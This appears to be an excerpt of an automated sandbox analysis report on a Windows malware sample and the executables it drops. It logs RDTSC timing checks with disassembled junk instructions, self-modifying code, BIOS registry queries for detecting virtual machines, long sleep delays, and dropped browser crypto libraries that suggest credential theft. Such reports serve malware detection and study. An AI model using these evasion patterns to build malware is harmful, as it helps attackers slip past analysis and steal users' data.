Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E51 second address: 54C0E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E55 second address: 54C0E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E5B second address: 54C0E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E69h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B51 second address: 54C0B67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B67 second address: 54C0B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B6B second address: 54C0B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B6F second address: 54C0B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540654 second address: 55406BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F20FCE83CB7h 0x00000009 or esi, 3F6E29BEh 0x0000000f jmp 00007F20FCE83CB9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F20FCE83CB0h 0x0000001b sbb si, D2B8h 0x00000020 jmp 00007F20FCE83CABh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d movsx edi, si 0x00000030 push esi 0x00000031 pop edx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55406BE second address: 55406EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F20FD6D8E5Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55406EA second address: 5540720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F20FCE83CB1h 0x00000009 add cx, 4966h 0x0000000e jmp 00007F20FCE83CB1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540720 second address: 5540724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540724 second address: 554072A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554072A second address: 554075D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F20FD6D8E68h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554075D second address: 554076C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55309EF second address: 5530A95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e pushfd 0x0000000f jmp 00007F20FD6D8E63h 0x00000014 xor cl, FFFFFFBEh 0x00000017 jmp 00007F20FD6D8E69h 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007F20FD6D8E61h 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F20FD6D8E5Ch 0x0000002c jmp 00007F20FD6D8E65h 0x00000031 popfd 0x00000032 mov eax, 7716B3D7h 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a pushad 0x0000003b mov di, cx 0x0000003e movzx eax, di 0x00000041 popad 0x00000042 pop ebp 0x00000043 pushad 0x00000044 mov cx, di 0x00000047 push eax 0x00000048 push edx 0x00000049 mov edx, 2E2F27EAh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307ED second address: 55307F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307F3 second address: 553083B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F20FD6D8E5Bh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F20FD6D8E66h 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov si, bx 0x0000001f mov di, FEBCh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553083B second address: 5530841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01DF second address: 54D027C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F20FD6D8E60h 0x0000000f push eax 0x00000010 jmp 00007F20FD6D8E5Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F20FD6D8E66h 0x0000001b mov ebp, esp 0x0000001d jmp 00007F20FD6D8E60h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov edi, 0B996F40h 0x0000002b pushfd 0x0000002c jmp 00007F20FD6D8E69h 0x00000031 add cx, 3B46h 0x00000036 jmp 00007F20FD6D8E61h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DFA second address: 5530E26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F20FCE83CACh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E26 second address: 5530E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 8DC4h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E3A second address: 5530E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E40 second address: 5530E5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E68h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E5C second address: 5530EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F20FCE83CAFh 0x00000014 or ah, FFFFFFEEh 0x00000017 jmp 00007F20FCE83CB9h 0x0000001c popfd 0x0000001d movzx esi, di 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F20FCE83CB9h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530EC0 second address: 5530EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530EC6 second address: 5530ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530ECA second address: 5530ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530ECE second address: 5530EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F20FCE83CB2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530F43 second address: 5530F7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F20FD6D8E63h 0x00000012 push esi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B44C second address: D9B452 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06E8 second address: 54E06FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06FB second address: 54E0754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F20FCE83CAFh 0x00000009 or ah, FFFFFF8Eh 0x0000000c jmp 00007F20FCE83CB9h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F20FCE83CAAh 0x0000001d push eax 0x0000001e pushad 0x0000001f mov ecx, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F20FCE83CB3h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0754 second address: 54E07D7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F20FD6D8E68h 0x00000008 adc esi, 559EA498h 0x0000000e jmp 00007F20FD6D8E5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 call 00007F20FD6D8E64h 0x0000001e mov dh, cl 0x00000020 pop ebx 0x00000021 jmp 00007F20FD6D8E5Ch 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007F20FD6D8E60h 0x0000002e push FFFFFFFEh 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F20FD6D8E67h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07D7 second address: 54E0820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushfd 0x00000007 jmp 00007F20FCE83CABh 0x0000000c jmp 00007F20FCE83CB3h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 call 00007F20FCE83CA9h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F20FCE83CB5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0820 second address: 54E087C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F20FD6D8E67h 0x00000010 mov bx, cx 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov esi, 4E6F346Dh 0x00000020 pushfd 0x00000021 jmp 00007F20FD6D8E5Ah 0x00000026 adc ecx, 6A60C208h 0x0000002c jmp 00007F20FD6D8E5Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E087C second address: 54E0894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FCE83CB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0894 second address: 54E0945 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F20FD6D8E5Eh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F20FD6D8E5Bh 0x00000018 pop eax 0x00000019 jmp 00007F20FD6D8E66h 0x0000001e call 00007F20FD6D8E59h 0x00000023 jmp 00007F20FD6D8E60h 0x00000028 push eax 0x00000029 jmp 00007F20FD6D8E5Bh 0x0000002e mov eax, dword ptr [esp+04h] 0x00000032 jmp 00007F20FD6D8E69h 0x00000037 mov eax, dword ptr [eax] 0x00000039 jmp 00007F20FD6D8E61h 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 jmp 00007F20FD6D8E61h 0x00000047 pop eax 0x00000048 pushad 0x00000049 movzx eax, dx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0945 second address: 54E0949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0949 second address: 54E094D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E094D second address: 54E0960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr fs:[00000000h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0960 second address: 54E0964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0964 second address: 54E0968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0968 second address: 54E096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BDE8F7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D88FF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E1E73A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E2E8F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FD8FF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 106E73A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: A3C946 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: BE2344 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: BEB465 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Special instruction interceptor: First address: 1069B64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Special instruction interceptor: First address: 108D643 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Special instruction interceptor: First address: 10EF7B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Special instruction interceptor: First address: D8DC71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Special instruction interceptor: First address: D8B14A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Special instruction interceptor: First address: F5FD76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Special instruction interceptor: First address: F4876C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Special instruction interceptor: First address: FCA3E5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 63CDC71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 63CB14A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 659FD76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 658876C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 660A3E5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Special instruction interceptor: First address: A64B10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Special instruction interceptor: First address: A64BD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Special instruction interceptor: First address: C01A06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Special instruction interceptor: First address: A624EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Special instruction interceptor: First address: C8B779 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 623DC71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Special instruction interceptor: First address: 623B14A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 15A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 31D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 2FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 57C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 67C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 68F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 78F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 7C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Memory allocated: 8C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Memory allocated: 5360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Memory allocated: 5640000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Memory allocated: 7640000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Memory allocated: 4E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Memory allocated: 5110000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Memory allocated: 7110000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05530DC0 rdtsc

0_2_05530DC0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 988	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1024	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window / User API: threadDelayed 1166
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window / User API: threadDelayed 1175
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window / User API: threadDelayed 1074
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window / User API: threadDelayed 1194
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window / User API: threadDelayed 1182
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window / User API: threadDelayed 1149

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7084	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7084	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6708	Thread sleep count: 988 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6708	Thread sleep time: -1976988s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4192	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4192	Thread sleep time: -9720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4340	Thread sleep count: 1024 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4340	Thread sleep time: -2049024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 6824	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 6944	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 1596	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 5184	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 1820	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 3520	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe TID: 3328	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 1404	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 1260	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 4556	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 944	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 3760	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe TID: 5824	Thread sleep time: -50025s >= -30000s
